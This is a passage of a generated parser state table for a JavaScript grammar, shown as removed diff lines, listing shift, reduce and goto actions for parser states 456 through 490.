-  ConditionalExprNoIn  go to state 312
-  AssignmentExprNoIn  go to state 482
-
-state 457
-
- 249) IterationStatement : FOR "(" VAR IDENT IN _ Expr ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 483
-
-state 458
-
- 267) WithStatement : WITH "(" Expr ")" Statement _
-
-  $default      reduce using rule 267 (WithStatement)
-
-
-state 459
-
- 268) SwitchStatement : SWITCH "(" Expr ")" CaseBlock _
-
-  $default      reduce using rule 268 (SwitchStatement)
-
-
-state 460
-
- 269) CaseBlock : "{" _ CaseClausesOpt "}"
- 270) CaseBlock : "{" _ CaseClausesOpt DefaultClause CaseClausesOpt "}"
-
-  CASE          shift, and go to state 487
-  $default      reduce using rule 271 (CaseClausesOpt)
-
-  CaseClausesOpt  go to state 484
-  CaseClauses   go to state 485
-  CaseClause    go to state 486
-
-state 461
-
- 281) TryStatement : TRY Block CATCH "(" IDENT _ ")" Block
- 282) TryStatement : TRY Block CATCH "(" IDENT _ ")" Block FINALLY Block
-
-  ")"           shift, and go to state 488
-
-
-state 462
-
- 285) FunctionDeclaration : FUNCTION IDENT "(" ")" "{" _ FunctionBody "}"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  FunctionBody  go to state 489
-  SourceElements  go to state 468
-
-state 463
-
- 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" _ "{" FunctionBody "}"
-
-  "{"           shift, and go to state 490
-
-
-state 464
-
-  32) Property : IDENT IDENT "(" ")" _ "{" FunctionBody "}"
-
-  "{"           shift, and go to state 491
-
-
-state 465
-
-  33) Property : IDENT IDENT "(" FormalParameterList _ ")" "{" FunctionBody "}"
- 292) FormalParameterList : FormalParameterList _ "," IDENT
-
-  ")"           shift, and go to state 492
-  ","           shift, and go to state 422
-
-
-state 466
-
- 190) ConditionalExpr : LogicalORExpr "?" AssignmentExpr ":" AssignmentExpr _
-
-  $default      reduce using rule 190 (ConditionalExpr)
-
-
-state 467
-
- 287) FunctionExpr : FUNCTION "(" ")" "{" FunctionBody _ "}"
-
-  "}"           shift, and go to state 493
-
-
-state 468
-
- 293) FunctionBody : SourceElements _
-
-  $default      reduce using rule 293 (FunctionBody)
-
-
-state 469
-
- 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" "{" _ FunctionBody "}"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  FunctionBody  go to state 494
-  SourceElements  go to state 468
-
-state 470
-
- 292) FormalParameterList : FormalParameterList "," IDENT _
-
-  $default      reduce using rule 292 (FormalParameterList)
-
-
-state 471
-
- 289) FunctionExpr : FUNCTION IDENT "(" ")" "{" _ FunctionBody "}"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  FunctionBody  go to state 495
-  SourceElements  go to state 468
-
-state 472
-
- 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" _ "{" FunctionBody "}"
-
-  "{"           shift, and go to state 496
-
-
-state 473
-
- 242) IfStatement : IF "(" Expr ")" Statement ELSE _ Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 497
-
-state 474
-
- 243) IterationStatement : DO Statement WHILE "(" Expr ")" _ ";"
- 244) IterationStatement : DO Statement WHILE "(" Expr ")" _ error
-
-  error         shift, and go to state 499
-  ";"           shift, and go to state 498
-
-
-state 475
-
- 248) IterationStatement : FOR "(" LeftHandSideExpr IN Expr ")" _ Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 500
-
-state 476
-
- 192) ConditionalExprNoIn : LogicalORExprNoIn "?" AssignmentExprNoIn ":" _ AssignmentExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 432
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 307
-  BitwiseXORExprNoIn  go to state 308
-  BitwiseORExprNoIn  go to state 309
-  LogicalANDExprNoIn  go to state 310
-  LogicalORExprNoIn  go to state 311
-  AssignmentExprNoIn  go to state 501
-  ConditionalExprNoIn  go to state 312
-
-state 477
-
- 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" _ ExprOpt ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  $default      reduce using rule 251 (ExprOpt)
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 451
-  ExprOpt       go to state 502
-
-state 478
-
- 225) VariableDeclarationListNoIn : VariableDeclarationListNoIn "," VariableDeclarationNoIn _
-
-  $default      reduce using rule 225 (VariableDeclarationListNoIn)
-
-
-state 479
-
- 228) VariableDeclarationNoIn : IDENT _
- 229) VariableDeclarationNoIn : IDENT _ InitializerNoIn
-
-  "="           shift, and go to state 456
-  $default      reduce using rule 228 (VariableDeclarationNoIn)
-
-  InitializerNoIn  go to state 503
-
-state 480
-
- 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt _ ";" ExprOpt ")" Statement
-
-  ";"           shift, and go to state 504
-
-
-state 481
-
- 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN _ Expr ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 505
-
-state 482
-
- 237) InitializerNoIn : "=" AssignmentExprNoIn _
-
-  $default      reduce using rule 237 (InitializerNoIn)
-
-
-state 483
-
- 214) Expr : Expr _ "," AssignmentExpr
- 249) IterationStatement : FOR "(" VAR IDENT IN Expr _ ")" Statement
-
-  ")"           shift, and go to state 506
-  ","           shift, and go to state 213
-
-
-state 484
-
- 269) CaseBlock : "{" CaseClausesOpt _ "}"
- 270) CaseBlock : "{" CaseClausesOpt _ DefaultClause CaseClausesOpt "}"
-
-  DEFAULT       shift, and go to state 509
-  "}"           shift, and go to state 507
-
-  DefaultClause  go to state 508
-
-state 485
-
- 272) CaseClausesOpt : CaseClauses _
- 274) CaseClauses : CaseClauses _ CaseClause
-
-  CASE          shift, and go to state 487
-  $default      reduce using rule 272 (CaseClausesOpt)
-
-  CaseClause    go to state 510
-
-state 486
-
- 273) CaseClauses : CaseClause _
-
-  $default      reduce using rule 273 (CaseClauses)
-
-
-state 487
-
- 275) CaseClause : CASE _ Expr ":" SourceElements
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 511
-
-state 488
-
- 281) TryStatement : TRY Block CATCH "(" IDENT ")" _ Block
- 282) TryStatement : TRY Block CATCH "(" IDENT ")" _ Block FINALLY Block
-
-  "{"           shift, and go to state 65
-
-  Block         go to state 512
-
-state 489
-
- 285) FunctionDeclaration : FUNCTION IDENT "(" ")" "{" FunctionBody _ "}"
-
-  "}"           shift, and go to state 513
-
-
-state 490
-
- 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" "{" _ FunctionBody "}"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
